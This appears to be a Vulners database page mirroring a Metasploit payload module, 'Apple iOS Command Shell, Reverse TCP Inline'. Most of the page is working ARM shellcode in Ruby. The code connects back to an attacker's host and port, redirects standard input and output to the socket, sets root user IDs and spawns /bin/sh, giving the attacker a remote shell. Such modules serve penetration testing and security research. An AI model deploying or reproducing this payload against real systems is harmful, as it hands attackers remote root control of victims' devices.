Lucene search
+L

Apple iOS Command Shell, Reverse TCP Inline

🗓️ 24 Sep 2007 03:13:08Reported by hdm <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 25 Views

Apple iOS Command Shell, Reverse TCP Inline. Connect back to attacker and spawn a command shell

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = 152

  include Msf::Payload::Single
  include Msf::Payload::Osx
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Apple iOS Command Shell, Reverse TCP Inline',
      'Description'   => 'Connect back to attacker and spawn a command shell',
      'Author'        => 'hdm',
      'License'       => MSF_LICENSE,
      'Platform'      => 'osx',
      'Arch'          => ARCH_ARMLE,
      'Handler'       => Msf::Handler::ReverseTcp,
      'Session'       => Msf::Sessions::CommandShellUnix,
      'Payload'       =>
        {
          'Offsets' =>
            {
              'LPORT'    => [ 30, 'n'    ],
              'LHOST'    => [ 32, 'ADDR' ],
            },
          'Payload' =>
            [
              # socket
              0xe3a00002, # mov r0, #0x2
              0xe3a01001, # mov r1, #0x1
              0xe3a02006, # mov r2, #0x6
              0xe3a0c061, # mov r12, #0x61
              0xef000080, # swi 128
              0xe1a0a000, # mov r10, r0
              0xeb000001, # bl _konnect

              # port 4444
              0x5c110200,

              # host 192.168.0.135
              0x8700a8c0,

              # connect
              0xe1a0000a, # mov r0, r10
              0xe1a0100e, # mov r1, lr
              0xe3a02010, # mov r2, #0x10
              0xe3a0c062, # mov r12, #0x62
              0xef000080, # swi 128

              # setup dup2
              0xe3a05002, # mov r5, #0x2

              # dup2
              0xe3a0c05a, # mov r12, #0x5a
              0xe1a0000a, # mov r0, r10
              0xe1a01005, # mov r1, r5
              0xef000080, # swi 128
              0xe2455001, # sub r5, r5, #0x1
              0xe3550000, # cmp r5, #0x0
              0xaafffff8, # bge _dup2

              # setreuid(0,0)
              0xe3a00000, # mov r0, #0x0
              0xe3a01000, # mov r1, #0x0
              0xe3a0c07e, # mov r12, #0x7e
              0xef000080, # swi 128

              # execve
              0xe0455005, # sub r5, r5, r5
              0xe1a0600d, # mov r6, sp
              0xe24dd020, # sub sp, sp, #0x20
              0xe28f0014, # add r0, pc, #0x14
              0xe4860000, # str r0, [r6], #0
              0xe5865004, # str r5, [r6, #4]
              0xe1a01006, # mov r1, r6
              0xe3a02000, # mov r2, #0x0
              0xe3a0c03b, # mov r12, #0x3b
              0xef000080, # swi 128

              # /bin/sh
              0x6e69622f,
              0x0068732f
            ].pack("V*")
        }
      ))
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation